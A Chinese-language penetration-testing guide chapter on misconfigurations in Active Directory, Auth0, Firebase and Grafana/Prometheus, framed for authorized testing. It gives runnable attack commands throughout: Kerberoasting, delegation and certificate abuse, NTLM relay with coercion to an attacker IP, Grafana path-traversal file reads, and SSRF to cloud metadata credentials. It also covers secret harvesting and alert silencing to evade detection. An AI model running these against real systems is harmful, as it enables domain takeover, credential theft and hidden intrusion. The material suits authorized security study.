第 7 章 · 02 第三方技术专项(AD / Auth0 / Firebase / Graf...


文档摘要

第 7 章 · 02 第三方技术专项(AD / Auth0 / Firebase / Grafana / Supabase) 本节摘要:真实目标几乎都建立在第三方技术栈之上——身份用 Active Directory 或 Auth0,数据用 Firebase 或 Supabase,可观测性用 Grafana/Prometheus。这些服务的漏洞形态与通用 Web 漏洞截然不同:AD 的妥协几乎总来自错误配置(可烤的 SPN、 vulnerable 的证书模板、过宽的 ACL);Auth0 的完美 Universal Login 会被下游 API「不校验 scope/aud」毁掉;Firebase 的「rules 不是过滤器」常被误解成批量泄露;Grafana

第 7 章 · 02 第三方技术专项(AD / Auth0 / Firebase / Grafana / Supabase)

本节摘要:真实目标几乎都建立在第三方技术栈之上——身份用 Active Directory 或 Auth0,数据用 Firebase 或 Supabase,可观测性用 Grafana/Prometheus。这些服务的漏洞形态与通用 Web 漏洞截然不同:AD 的妥协几乎总来自错误配置(可烤的 SPN、 vulnerable 的证书模板、过宽的 ACL);Auth0 的完美 Universal Login 会被下游 API「不校验 scope/aud」毁掉;Firebase 的「rules 不是过滤器」常被误解成批量泄露;Grafana 是「枢纽引擎」而非「端点」——它持有每个后端的明文可恢复凭证;Supabase 的 RLS 配错暴露全表。本节合并这五项,聚焦「服务特有的错误配置与攻击面」,让你理解每个服务的安全模型与它的典型破绽。

⚠️ 仅限授权测试:本节所有技术仅用于你自己的应用或有书面授权的渗透测试。AD/IdP/可观测性栈的测试尤其敏感,务必在明确授权范围内进行。未经授权对他人系统使用这些技术是非法的。

学习目标

阅读完本节,你应当能够:

  1. 理解 Active Directory 妥协的图论本质:从有效凭证出发,用 BloodHound 找到 DCSync/伪造票据的路径。
  2. 掌握 AD 的核心攻击原语:Kerberoasting/AS-REP Roasting、委派滥用、AD CS(ESC1-ESC17)、NTLM 强制+中继、DACL 滥用。
  3. 识别 Auth0 的租户配置缺陷(callback 过宽、MFA 绕过、Rules/Actions 注入)与下游 API 的 token 校验缺口。
  4. 理解 Firebase/Firestore 的「rules 不是过滤器」原则与 Cloud Functions 信任客户端输入的风险。
  5. Grafana/Prometheus 当作「枢纽引擎」——从暴露的可观测性端点链式攻击到云账户、内部网络、RCE。
  6. 识别 Supabase 的 RLS 错配、RPC SECURITY DEFINER 滥用、service_role 密钥泄露、Edge Functions 信任头部。
  7. 在每个服务上区分「真正可利用」与「误报」(如机器账户 SPN 不可烤、Prometheus <secret> 已脱敏)。

一、Active Directory

AD 妥协几乎总来自错误配置而非内存破坏:一个可烤的服务账户、一个委派标志、一个 vulnerable 的证书模板、一个过宽的 ACL,就能把单个低权域用户变成 Domain Admin。几乎每一步都需要有效域凭证(或一个立足点去强制获取),几乎每条路径都通向 DCSync 或伪造票据。测试的是身份层——Kerberos、LDAP、NTLM、SMB、AD CS——而不是前面的营销网站。

1.1 攻击面

核心服务(每台域控):Kerberos(88/tcp+udp)、LDAP/LDAPS(389/636)、Global Catalog(3268/3269);SMB(445)、RPC/DCE 端点映射(135)+ 高动态端口、NetBIOS(137-139);DNS(53,AD 集成,常允许动态更新 ADIDNS);成员服务器上的 WinRM(5985/5986)、RDP(3389)、MSSQL(1433);AD CS:证书颁发机构 + Web Enrollment(/certsrv/ADPolicyProvider_CEP_*、ES/CES)。

主体与对象:用户、计算机($ 账户)、gMSA/sMSA、组、GPO、OU、信任;servicePrincipalNameuserAccountControl 标志、msDS-AllowedToDelegateTomsDS-AllowedToActOnBehalfOfOtherIdentitymsDS-KeyCredentialLink;对象上的 DACL(GenericAll/GenericWrite/WriteDacl/WriteOwner/AddSelf)。

信任边界:林内(父/子)、林间、外部、SID history;MachineAccountQuota(默认 10 → 任何用户可加入计算机账户)。

1.2 侦察

匿名 / 预认证(无凭证):

# 从 LDAP rootDSE 取域 + naming context nmap -Pn -p 389 --script ldap-rootdse <DC> # SMB 空会话 / 签名 / OS nmap -Pn -p445 --script "smb-os-discovery,smb2-security-mode" <DC> enum4linux-ng -A <DC> # 经 Kerberos 预认证的无用户名枚举 kerbrute userenum -d <DOMAIN> --dc <DC> users.txt

已认证枚举(任意有效用户):

nxc ldap <DC> -u <USER> -p <PASS> # 确认凭证 + 域信息 nxc smb <SUBNET> -u <USER> -p <PASS> --shares # 可读/可写共享 nxc ldap <DC> -u <USER> -p <PASS> --users --groups --pass-pol ldapdomaindump ldap://<DC> -u '<DOMAIN>\<USER>' -p <PASS>

BloodHound 图(最有价值的一步):

bloodhound-ce-python -d <DOMAIN> -u <USER> -p <PASS> -c All -ns <DC_IP> --zip nxc ldap <DC> -u <USER> -p <PASS> --bloodhound --collection-method All --dns-server <DC_IP>

导入 BloodHound(CE),先跑内置「到 Domain Admins 的最短路径」「已拥有主体」查询,再动其他。

1.3 Kerberos Roasting

Kerberoasting——任何已认证用户可为任何带 SPN 的账户请求服务票据(RC4/$krb5tgs$23$)并离线破解。目标是人工设置的服务账户密码;机器账户通常不可破解。

nxc ldap <DC> -u <USER> -p <PASS> --kerberoasting kerb.txt GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASS> -outputfile kerb.txt hashcat -m 13100 kerb.txt wordlist.txt

AS-REP Roasting——带 DONT_REQ_PREAUTH 的账户,若用户名已知,无需凭证即可拿到可破解的 $krb5asrep$23$ blob。

GetNPUsers.py <DOMAIN>/ -usersfile users.txt -no-pass -dc-ip <DC_IP> hashcat -m 18200 asrep.txt wordlist.txt

定向 Kerberoasting——对某用户有 GenericAll/GenericWrite 时,加 SPN、烤、再移除。

1.4 委派滥用

  • 非约束委派(TRUSTED_FOR_DELEGATION)——攻陷主机,强制 DC/DA 向它认证(PrinterBug/PetitPotam),从 LSA 捕获其 TGT,复用。直达 DCSync。
  • 约束委派(msDS-AllowedToDelegateTo)——S4U2Self+S4U2Proxy 冒充任何用户到列出的 SPN;换 SPN 服务类(cifs/host/ldap)扩权。
  • RBCD(msDS-AllowedToActOnBehalfOfOtherIdentity)——对计算机对象有写权限 + MachineAccountQuota>0,造假计算机、设 RBCD、S4U 拿该主机 admin 票据。
# RBCD 链 addcomputer.py -computer-name FAKE$ -computer-pass P@ss <DOMAIN>/<USER>:<PASS> rbcd.py -delegate-from FAKE$ -delegate-to TARGET$ -action write <DOMAIN>/<USER>:<PASS> getST.py -spn cifs/target.<DOMAIN> -impersonate Administrator <DOMAIN>/FAKE$:P@ss

1.5 AD CS(ESC1-ESC17)

AD CS 是现代高产路径——一个错配模板把低权用户提为 DA 且扛得住改密。先枚举,一切随之而来:

certipy find -u <USER>@<DOMAIN> -p <PASS> -dc-ip <DC_IP> -vulnerable -stdout
  • ESC1——模板允许 enrollee supplied SAN + client-auth EKU → 以 administrator 身份申请证书:

    certipy req -u <USER>@<DOMAIN> -p <PASS> -ca <CA> -template <T> -upn administrator@<DOMAIN> certipy auth -pfx administrator.pfx -dc-ip <DC_IP> # → NT 哈希 / TGT
  • ESC8——NTLM 中继到 CA Web Enrollment(强制 DC,中继到 /certsrv)→ DC 证书 → DCSync。

  • 其他 ESC——ESC2/3(any-purpose/enrollment-agent)、ESC4(可写模板 DACL → 改成 ESC1)、ESC6(CA 上 EDITF_ATTRIBUTESUBJECTALTNAME2)、ESC7(CA officer 权限)、ESC9/10(弱证书映射)、ESC11(RPC 中继)、ESC13(issuance-policy→组)、ESC15(v1 模板的 app-policy)。certipy find -vulnerable 会逐个标记。

1.6 NTLM 强制与中继

强制特权机器向你认证,再把 NTLM 认证中继到不强制签名/EPA 的服务(LDAP、AD CS、SMB)。

# 1. 启动中继(LDAP → RBCD,或 AD CS → 证书) ntlmrelayx.py -t ldap://<DC> --delegate-access --no-dump ntlmrelayx.py -t http://<CA>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController # 2. 强制目标认证 coercer coerce -u <USER> -p <PASS> -t <TARGET> -l <ATTACKER_IP> PetitPotam.py -u <USER> -p <PASS> <ATTACKER_IP> <DC> # MS-EFSR printerbug.py <DOMAIN>/<USER>:<PASS>@<TARGET> <ATTACKER_IP> # MS-RPRN

Responder 的 LLMNR/NBT-NS/mDNS 投毒在广播段捕获 NetNTLMv2 哈希,离线破解或中继。

1.7 DACL/对象滥用、凭据访问与域统治

从 BloodHound 边出发:GenericAll/GenericWrite 于用户 → 定向 Kerberoast 或 Shadow Credentials(经 Certipy/pywhisker 设 msDS-KeyCredentialLink → PKINIT → NT 哈希);WriteDacl/WriteOwner → 给自己 GenericAll,再在域对象上拿 DCSync 权限;ForceChangePassword → 改目标密码;特权组的 AddMember → 自加;GPO 编辑权 → 向链接 OU 推即时计划任务/本地 admin。

# Shadow Credentials(无需改密,更隐蔽) certipy shadow auto -u <USER>@<DOMAIN> -p <PASS> -account <TARGET> -dc-ip <DC_IP> bloodyAD -u <USER> -p <PASS> -d <DOMAIN> --host <DC> add genericAll <TARGET_DN> <USER>

DCSync(有复制权 DS-Replication-Get-Changes*)dump 全部哈希含 krbtgt;Golden ticket(krbtgt 哈希)/Silver ticket(服务账户哈希)/Diamond ticket 伪造 TGT/ST 做持久化;Pass-the-Hash/OverPass-the-Hash/Pass-the-Ticket;LAPS/gMSA 可读 ms-Mcs-AdmPwd/msDS-ManagedPassword 给本地 admin/服务凭证。

已知未认证 CVE(取决于补丁):ZeroLogon(CVE-2020-1472,DC 机器账户置空,即时 DA);noPac(CVE-2021-42278/42287,sAMAccountName 欺骗冒充 DC);PrintNightmare(CVE-2021-1675/34527)、PetitPotam(KB5005413 前的无认证 MS-EFSR)。开火前先版本/补丁确认——这些有破坏性。

1.8 工具、验证与误报

工具(沙箱默认不含 AD 工具,需按需安装,且需到目标 DC/子网的网络可达):

pipx install impacket # GetUserSPNs/GetNPUsers/secretsdump/ntlmrelayx/getST/addcomputer/rbcd pipx install netexec # nxc:CME 继任者 pipx install certipy-ad # AD CS 枚举 + ESC1-17、Shadow Credentials pipx install bloodhound-ce # bloodhound-ce-python 采集器 pipx install coercer # 多协议强制 pipx install bloodyAD # DACL/LDAP 对象编辑 go install github.com/ropnop/kerbrute@latest sudo apt-get install -y smbclient ldap-utils krb5-user enum4linux-ng responder hashcat john

验证:展示精确错配(SPN、UAC 标志、模板标志、ACE、缺失补丁)的枚举原始输出;展示获得的权限(破解的服务账户密码、以特权用户认证的证书、DCSync 的 NT 哈希);提供完整链条(已拥有主体 → 边/错配 → 提权步 → 结果访问);把影响绑到具体身份(如「用户 svc-sql → Domain Admins」)。

误报:机器账户的 Kerberoastable SPN(120 字符随机密码,实际不可破解);certipy find 标记 ESC 但注册权排除你的主体(检查 Enrollment Rights/Requires Manager Approval);委派标志存在但账户禁用或目标 SPN 不可达;中继目标强制 SMB/LDAP 签名或通道绑定(EPA)——中继会失败;DC 全补丁——ZeroLogon/noPac/PetitPotam 报「不受影响」。

💡 Pro Tips:先 BloodHound 再爆破——图把数小时猜测变成命名路径,永远标记已拥有节点;早做 AS-REP roasting 和 certipy find(一个无需凭证);有写权限时 Shadow Credentials > 改密(可逆、不锁账户、无需明文);Kerberos 工作前先 ntpdate <DC> 修时钟偏移(KRB_AP_ERR_SKEW 会杀掉票据操作);用 FQDN 并把 /etc/resolv.conf 指向 DC(或 --dns-server)。

二、Auth0

Auth0 错配可实现账户接管、跨租户数据访问、经 Rules/Actions/宽松应用设置/弱 API 鉴权/消费方 token 接收 bug 的提权。既要测 Auth0 租户配置,也要测下游 API 如何校验 Auth0 签发的 token。

2.1 攻击面

Auth0 组件:应用(SPA、Regular Web、Native、M2M);API(Resource Server,identifier、scope、RBAC、permission);连接(database、social、enterprise SAML/OIDC);Rules(legacy)与 Actions(post-login、pre-user-registration、credentials exchange);Organizations(多租户 B2B)、角色、权限;Universal Login、自定义域、自定义数据库脚本。

Token 类型:ID Token(OIDC)、Access Token(JWT 或 opaque)、Refresh Token;Management API token、client credentials token(M2M);PAR、PKCE 流(public client)。

管理:Auth0 Management API(/api/v2/);租户设置、攻击保护、MFA 策略、异常检测;日志流、hooks、自定义提示。

2.2 侦察

租户发现:从 app 配置、JS bundle、移动应用中提取 domain(tenant.us.auth0.com / tenant.eu.auth0.com / login.customdomain.com)、client_idaudiencescope

OIDC Discovery:

GET https://TENANT.auth0.com/.well-known/openid-configuration GET https://TENANT.auth0.com/.well-known/jwks.json

已认证 userinfo(需 bearer access token,无认证返回 401):

GET https://TENANT.auth0.com/userinfo Authorization: Bearer <access_token>

应用指纹:登录重定向到 https://TENANT.auth0.com/authorize?client_id=...;前端 bundle 的 auth0-js@auth0/auth0-spa-jsauth0-react;token 请求的 audience 参数。

Management API 暴露:泄露的 M2M 凭证带 read:users/update:users/create:users scope;从浏览器调用 Management API(CORS 错配)。

2.3 典型缺陷:应用配置与 Token 设置

Callback URL / Origin 错配:Allowed Callback URLs 用通配或过宽(https://app.com/*http://localhost:*);Allowed Logout URLs、Web Origins、CORS origins 过宽;Native app 自定义 scheme 劫持(com.app://callback)。

Token 设置:ID Token 当 API access token 用(audience/scope 混淆);Refresh token 轮换关闭、TTL 过长;下游未强制 RS256 时的签名算法降级。

2.4 API 鉴权(Resource Server)与 Rules/Actions

缺 scope/RBAC 强制:API 接受任何合法 access token 而不查所需 scopepermissions;Auth0 启用 RBAC 但 API 不调 /userinfo 或不验 permissions 数组;接受错误 audience——App A 的 token 在 App B 的 API 上能用。

# 把 audience A 的 token 用到 API B Authorization: Bearer <token_with_audience_A>

Post-Login Rule/Action 注入:基于未校验用户元数据加 claim的 Rule——若用户能经注册/API 设 app_metadata:

user.app_metadata.role = 'admin' // 用户能设 app_metadata 时

context.authorization 在 Actions 中被操纵;Rule 代码里的 secret 经 Management API 泄露给租户 admin。

注册/注册 Actions:pre-user-registration 不拦一次性邮箱或角色自分配;社交连接账户未验邮箱即链接 → 账户接管。

2.5 Organizations、MFA、账户接管、Management API

Organizations(B2B):API 缺 org_id 校验——Org A 用户访问 Org B 数据;邀请流接受攻击者邮箱域;角色变更后不复查组织成员资格。

MFA 绕过:Management API 或高风险应用不强制 MFA;Remember-browser cookie 绕过敏感操作的 step-up;MFA 挑战只在 Universal Login 但 API 接受无 MFA 的 password-grant token;注册端点的恢复码/爆破。

账户接管向量:密码重置链接用后未失效;可预测重置 token;敏感操作前不要求邮箱验证;改密不重新认证或不走 MFA;把攻击者社交 IdP 链到受害者账户(同邮箱、未验证)。

Management API:M2M 应用 scope 过宽(delete:usersupdate:users_app_metadata);Management API token 在前端 JS 或移动应用;/api/v2/users 枚举无限流。

自定义数据库脚本:自定义登录脚本的用户名查询有 SQL 注入;get_user 返回过多 profile 字段;脚本硬编码凭证或弱哈希。

2.6 高级技巧、验证与误报

跨应用 Token 混淆:跨环境(dev/prod)复用同一 client_secret;多 API 共享签名密钥却无 aud 校验。Resource Owner Password Grant(若启用):legacy grant 直连 token 端点,绕过 Universal Login MFA。Impersonation/Delegation:act_as 或委派特性错配(老租户的 legacy 特性)。

验证:演示账户接管或跨组织访问;展示 API 接受缺 scope/permission/audience 的 token;受保护应用流的 MFA 绕过 PoC;记录 Auth0 设置(Rule、Application config、API RBAC)根因;提供 authorize → callback → API 请求链证据。

误报:Callback URL 校验一致拒绝所有 fuzz;API 每次请求都验 aud/iss/scope/permissions;敏感应用每次登录经 Auth0 Action 强制 MFA;app_metadata 仅 admin 经 Management API 可写;Organizations 正确绑定 org_id 且 API 强制。

💡 Pro Tips:永远捕获完整 authorize URL——audiencescope 暴露 API 目标;解码 access token JWT 查 permissionsscopeorg_idhttps://.../roles claim;dev/stage 租户单独测(常 callback 规则更弱);Management API M2M 凭证在 CI 日志里是高价值——搜 GitHub、bucket、artifact。

三、Firebase / Firestore

Firebase 安全测试聚焦 Firestore/Realtime Database 规则、Cloud Storage 暴露、信任客户端输入的 callable/onRequest Functions、错误的 ID token 校验。核心心法:rules 不是过滤器

3.1 攻击面与端点

数据存储:Firestore(文档/集合、规则、REST/SDK);Realtime Database(JSON 树、规则);Cloud Storage(规则、签名 URL)。

端点:

  • Firestore REST:https://firestore.googleapis.com/v1/projects/<project>/databases/(default)/documents/<path>
  • Realtime DB:https://<project>.firebaseio.com/.json
  • Storage REST:https://storage.googleapis.com/storage/v1/b/<bucket>

认证:Google 签名的 ID token(iss:accounts.google.comsecuretoken.google.com/<project>);audience:<project><app-id>,身份在 sub/uid;Firestore、Realtime DB、Storage 各有独立规则引擎;Functions 用 Admin SDK 时绕过规则。

服务端:Cloud Functions(onCall/onRequest、触发器);Admin SDK(绕过规则);Hosting 重写、CDN/缓存、CORS。

3.2 典型缺陷:Firestore Rules 不是过滤器

rules 不是过滤器——查询必须包含使规则对全部返回文档为真的约束。

常见缺口:

  • allow read: if request.auth != null——任何已认证用户读全部数据
  • allow write: if request.auth != null——批量写
  • 缺逐字段校验(允许加 isAdmin/role/tenantId 字段)
  • 用客户端提供的 ownerId/orgId 而非 resource.data.ownerId == request.auth.uid
  • 根集合上过宽的 list 规则(逐文档检查存在但 list 仍泄露)

安全模式:

// 限制写字段 request.resource.data.keys().hasOnly(['field1', 'field2', 'field3']) // 强制归属 resource.data.ownerId == request.auth.uid && request.resource.data.ownerId == request.auth.uid // 组织成员检查 exists(/databases/(default)/documents/orgs/$(org)/members/$(request.auth.uid))

测试:用户 A/B 对相同查询对比结果,diff 计数与 ID;跨租户读 where orgId == otherOrg、不带 org 过滤的查询;写路径用外国 ownerId/orgId set/patch、翻转特权标志。用 REST 绕过 SDK 客户端约束;探复合索引要求;试 collectionGroup 绕过逐集合规则;用 startAt/endAt/in/array-contains 探规则边缘与分页游标。

3.3 Realtime Database、Storage、Cloud Functions

Realtime Database:错配规则频繁暴露整棵 JSON 树;带/不带认证探 https://<project>.firebaseio.com/.json;确认规则用 auth.uid 与细粒度路径检查;避免高层节点的 .read/.write: trueauth != null;试写带特权的节点(角色、组织成员)。

Cloud Storage:敏感 bucket/路径的公开读;长 TTL 签名 URL、无 content-disposition 控制、跨租户可重放;List 操作暴露 /o?prefix= 枚举对象 key。测:无认证 HTTPS GET gs:// 路径,验 Content-Type 与 Content-Disposition: attachment;跨账户/路径生成并复用签名 URL、试大小写/URL 编码变体;上传 HTML/SVG 验 X-Content-Type-Options: nosniff、检查脚本执行。

Cloud Functions:onCall 自动提供 context.auth;onRequest 必须显式验 ID token。Admin SDK 绕过规则——所有归属/租户检查必须在代码里。

常见缺口:信任请求体的客户端 uid/orgId 而非 context.auth;手动解析 token 时缺 aud/iss 验证;过宽 CORS 允许带凭证跨源;触发器(onCreate/onWrite)基于客户端控制的文档内容授角色。

测试:onCall 与 onRequest 用变体 token 调用,预期相同决策;造文档触发特权授予函数;经 Functions 向项目/元数据端点尝试 SSRF。

3.4 Auth/Token、App Check、租户隔离

验证要求:issuer、audience(project)、签名(Google JWKS)、过期;用 App Check 时可选绑定。

陷阱:接受签名合法但 audience/project 错的 JWT;信任请求体的 uid/账户 ID 而非 context.auth.uid;混用 session cookie 与 ID token 但两条路径验证不对等;custom claims 拷进文档后被应用代码信任。

App Check 不是授权替代:REST 直连 googleapis 端点带 ID token 无论 App Check 都成功;移动逆向:hook client 复用 ID token 流程(无证明)。

租户隔离:应用常做多租户数据模型(orgs/<orgId>/...)。从服务端上下文(成员文档或 custom claim)绑定租户,而非客户端 payload。测:变 org header/子域/查询但保持 token 租户不变,验证服务端拒跨租户;导出/报表 Functions 确保查询在调用者 scope 下执行。

盲枚举:Firestore 用错误形态、文档计数、ETag/长度推断存在;Storage 用签名 URL 的长度/时序差泄露有效性;Functions 用常数时间比较 vs 变长消息暴露鉴权分支。

3.5 验证

归属者 vs 非归属者的 Firestore 查询展示非授权访问或元数据泄露;Cloud Storage 超出预期 scope 的读写(公开对象、签名 URL 复用、list 暴露);Function 接受伪造/外国身份(错 aud/iss)或信任客户端 uid/orgId;最小可复现请求,记录所用角色/token 与观察到的差异。

💡 Pro Tips:allow read: if request.auth != null 是 Firebase 最危险的规则——它把「已认证」等同于「授权」;永远用 REST 复测 SDK 行为,SDK 的客户端约束会掩盖规则缺口;onCall 自动给 context.auth,onRequest 不会——混用是 IDOR 高发区;App Check 不是授权,REST 直连绕过它。

四、Grafana & Prometheus(可观测性栈)

可观测性栈(Grafana + Prometheus + Alertmanager + Loki/Tempo/Jaeger + exporters)是网络上最高价值的枢纽之一。它们长期暴露(Shodan 上 30 万+ 面向互联网的 Grafana)、弱认证或无认证、持有其触及的每个后端的明文凭证、且处于可达内部服务与云元数据的网络位置。把可达的可观测性端点不当成发现,而是入口:目标是数据源凭证窃取、内部网络 SSRF、云密钥妥协、RCE、集群/主机接管。

4.1 攻击面

Grafana(默认 :3000):Web UI + REST API(/api/*)、登录、组织/用户管理、快照;数据源(存储 Prometheus、Loki、Tempo、MySQL/Postgres、Elasticsearch、InfluxDB、CloudWatch、Azure Monitor 等的连接详情+凭证);数据源代理(/api/datasources/proxy/.../api/ds/query)——服务端 HTTP client → SSRF 原语;插件(含 Image Renderer、Infinity)——额外 SSRF/RCE 面;告警 → contact point/webhook(出站 HTTP,又一 SSRF 向量)。

Prometheus(默认 :9090):查询 API(/api/v1/query/graph)、config/target/status 端点、federation、admin/lifecycle API。

Alertmanager(默认 :9093):告警/静默 API(/api/v2/*)、含 receiver 凭证的配置。

Exporters/相邻:node_exporter(:9100)、cAdvisor/kubelet(:4194/:10250)、kube-state-metrics(:8080)、Pushgateway(:9091)、Loki(:3100)、Tempo、Jaeger UI(:16686)、Thanos/Cortex/Mimir/VictoriaMetrics。

4.2 侦察:指纹、认证态势、凭证入口

指纹与版本(版本决定哪些 CVE 适用):

GET /api/health # Grafana: {"version":"...","commit":"..."} GET /api/frontend/settings # buildInfo, enabled auth, datasource types GET /login # Grafana 登录页 / 页脚版本 GET /api/v1/status/buildinfo # Prometheus 版本 GET /metrics # 任意 exporter → prometheus/node/go_* series

认证态势——永远先测未认证:

GET /api/datasources # Grafana:200 = anon/viewer 有 admin 级读 GET /?orgId=1 # 匿名访问启用?落到 dashboard GET /api/v1/targets # Prometheus:200 = 无认证 GET /api/v2/status # Alertmanager:200 = 无认证

凭证入口:Grafana 默认凭证 admin:admin(首次登录改密提示有 Skip 按钮——约 1/5 面向互联网实例仍接受);匿名组织访问(auth.anonymous)、开放注册、guest/viewer 角色;泄露的 Grafana API key/service account token(Authorization: Bearer glsa_.../eyJ...)在 JS bundle、git、CI 日志。

4.3 关键 CVE

CVE-2021-43798 — Grafana 预认证路径穿越(任意文件读):Grafana 8.0.0-beta1 → 8.3.0。经插件静态路由的目录穿越读取进程可读的任意文件,无需认证。每个安装都预装插件,路径永远存在。

curl --path-as-is 'http://host:3000/public/plugins/mysql/../../../../../../../../etc/passwd' # 其他永远存在的 plugin id:prometheus, graph, text, alertlist, table-old

高价值读取:/etc/grafana/grafana.iniconf/defaults.inisecret_key、admin 密码、SMTP/LDAP 凭证;/var/lib/grafana/grafana.db(SQLite)→ data_source.secure_json_data(用 secret_key AES 解密 → 恢复后端密码/token)、session token、API key 哈希;/proc/self/environ、云凭证文件(~/.aws/credentials、k8s SA token /var/run/secrets/kubernetes.io/serviceaccount/token)。

CVE-2024-9264 — Grafana SQL Expressions RCE + LFI(DuckDB):Grafana v11.0.0–11.2.x(10.x 不受影响)。实验性 SQL Expressions 把用户输入未充分净化地传给 duckdb CLI → 命令注入 + 任意文件读。API 默认启用(feature-flag bug);仅当 duckdb 二进制在 Grafana $PATH 才可利用(默认不随附)。Viewer+ 即可利用。CVSS 9.4。

CVE-2025-4123 — Grafana 开放重定向 + 存储型 XSS → SSRF 链:双重编码穿越(..%2f)进 client path//redirect 把受害者转发到攻击者 origin,提供恶意插件 manifest → JS 在受信 grafana origin 执行(存储型 XSS)。若 Image Renderer 插件存在,升级为完整读 SSRF:

POST /api/render?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

匿名访问开启时无需凭证(demo/lab 常见)。

CVE-2021-39226 / CVE-2024-1313 — Grafana 快照鉴权绕过:经 /api/snapshots/:key/dashboard/snapshot/:key 未认证查看(且 public_mode 下删除)最低 key 快照;CVE-2024-1313 让不同组织的用户按 view key 删快照。遍历快照 ID 收割 dashboard 数据/泄露的查询值。

Prometheus/Alertmanager — 暴露即漏洞(默认无认证):Prometheus 与 Alertmanager 默认无认证;文档明确说不暴露。很少有 CVE——可达性本身就是发现,回报是侦察 + 凭证泄露 + 枢纽(见下)。

4.4 枢纽:可观测性 → 更深妥协

这是核心价值。把每个暴露链成有意义的东西。

1. Grafana 数据源代理 → 完整读 SSRF(内网 + 云元数据):Grafana OSS 配 no-op URL 校验器data_source_proxy_whitelist(空 = 允许全部)。代理把代理路径解析到所选数据源配置的 base URL,所以要达任意主机必须先创建(或编辑)URL 为内部/元数据目标的数据源——这需要数据源写权限(Editor/Admin,或任何授予 datasources:create/:write 的角色)。复用普通 Prometheus 数据源 id 并追加元数据路径只打到 Prometheus,不是元数据服务——别报成 SSRF。数据源指向目标后,代理服务端发请求并返回完整响应体

# 步骤1:创建/编辑 base URL 为攻击者选择的数据源 POST /api/datasources {"name":"x","type":"prometheus","access":"proxy", "url":"http://169.254.169.254"} # 返回新 <id> # 步骤2:经该数据源 id 中继(路径追加到其 base URL): GET /api/datasources/proxy/<id>/latest/meta-data/iam/security-credentials/<role> # AWS IMDSv1 # GCP:base url http://metadata.google.internal + header Metadata-Flavor: Google # → /computeMetadata/v1/instance/service-accounts/default/token

2. Grafana admin → 收割每个后端凭证:认证后(默认凭证、anon-admin、泄露 token 或 CVE-2021-43798 后):

GET /api/datasources # 5–15 个后端的 host/port/db/user GET /api/admin/settings # SMTP、LDAP bind、OAuth secret、DB DSN(grafana.ini 运行时)

Grafana 加密存储后端密码/token(secureJsonData)——API 不回显,但可以(a)用数据源代理经 Grafana 直接查后端(无需明文),或(b)用泄露的 secret_key(来自 grafana.ini)离线解密 grafana.dbsecure_json_data。每个恢复的凭证(Postgres、MySQL、Elasticsearch、CloudWatch/Azure key)是通向该系统的新枢纽。

3. Prometheus config/targets → 泄露的 scrape 凭证 + 清单:

GET /api/v1/status/config # 加载的 prometheus.yml GET /api/v1/targets # 每个 scrape 目标 + 发现元数据标签

Prometheus 把 secret 类型字段(basic_auth.passwordauthorization.credentials、bearer token、OAuth client secret——含 remote_write/remote_read 内)在 config 响应里渲染为 <secret>,所以除非显示真实值否则别报泄露。真正泄露的是:用户名(basic_auth.username),以及——关键——嵌入在目标/端点 URL 的凭证(https://user:pass@host/...,这些脱敏)。remote_write/remote_read 块即使 secret 脱敏仍泄露内部后端端点(Grafana Cloud/Cortex/Mimir/Thanos host)与用户名。目标列表 + __meta_*/__address__ 标签 = 免费的内网地图(主机名、端口、k8s namespace、云实例 ID)。

4. PromQL/metrics → 内部拓扑、版本 → 已知 CVE 定向:metrics 是侦察金矿,无认证查询:

GET /api/v1/query?query=up # 每个被监控服务(host:port) GET /api/v1/query?query=node_uname_info # 内核/OS/host GET /api/v1/query?query=node_dmi_info # 云提供商/硬件 GET /api/v1/query?query=node_network_info # 接口、内部 IP/MAC GET /api/v1/query?query=kube_pod_info # pod、namespace、node IP(KSM) GET /api/v1/query?query=kube_node_info # node 主机名、kubelet/kubeproxy 版本 GET /api/v1/query?query={__name__=~"..._build_info"} # 精确组件版本 GET /api/v1/label/__name__/values # 枚举所有 metric 名 → 应用清单 GET /federate?match[]={__name__=~".%2b"} # 经 federation 批量外泄 series

枢纽:精确版本(*_build_infokube_node_info)→ 映射 CVE 攻击脆弱组件;up/kube_pod_info → 外部不可见的内部服务目标列表。cAdvisor/kubelet 与 kube-state-metrics 暴露容器镜像、参数、标签(有时环境派生标签里有 secret)与完整集群布局。

5. Alertmanager → 凭证窃取、SSRF、告警抑制(反取证):

GET /api/v2/status # config(receiver 凭证常脱敏,结构/路由泄露) POST /api/v2/silences # 默认部署未认证 → 静默所有告警

receiver 配置(alertmanager.yml)持有明文 Slack webhook URL、PagerDuty routing key、SMTP 密码、OpsGenie/VictorOps key——经文件读(CVE-2021-43798 式)或 config 访问窃取;复用伪造告警/社工值班。webhook receiver = SSRF:能影响 receiver URL 就指向内部端点。静默滥用:POST /api/v2/silences 带 matcher alertname=~".+" 抑制 30 天安全/运维告警——作为检测规避影响单独标注。

6. 日志/追踪后端(Loki、Tempo、Jaeger)→ 传输中的 secret:暴露的 Loki(/loki/api/v1/query_range)、Tempo、Jaeger UI(:16686)频繁含从真实流量捕获的请求体、头部、token、session cookie、SQL、堆栈跟踪。查 authorizationpasswordtokenset-cookie、PII。一条被日志的 bearer token 或 session cookie 就是直接的账户/服务接管。

4.5 验证与误报降级

  • SSRF:展示经 Grafana 返回的完整响应体(元数据凭证、内部 API JSON),而非仅时序/盲信号。
  • 凭证窃取:展示泄露的 secret 并证明复用(向后端/云认证),或清楚解释复用路径。
  • 文件读(43798):返回 /etc/passwdgrafana.ini 内容,带 --path-as-is,注明受影响版本。
  • RCE(9264):先确认 duckdb 在 PATH,演示命令执行或文件读,注明版本 11.x。
  • 侦察:对 Prometheus/Alertmanager 暴露,把开放端点与具体敏感数据(泄露凭证、内部清单)配对,让发现显示影响而非仅「可达」。

误报/降级:端点仅 localhost/同受信段可达,在认证反代后(经真实 ingress 测);Grafana Enterprise(真 URL 校验器)或配了 data_source_proxy_whitelist 的 OSS → SSRF 被阻;CVE-2024-9264 无 duckdb 在 PATH → 不可利用(别报 RCE);已补丁版本;合成数据的 demo/sandbox 实例(按 demo-data 指南降级);真正公开/非敏感的 metrics(如故意的公开状态页)。

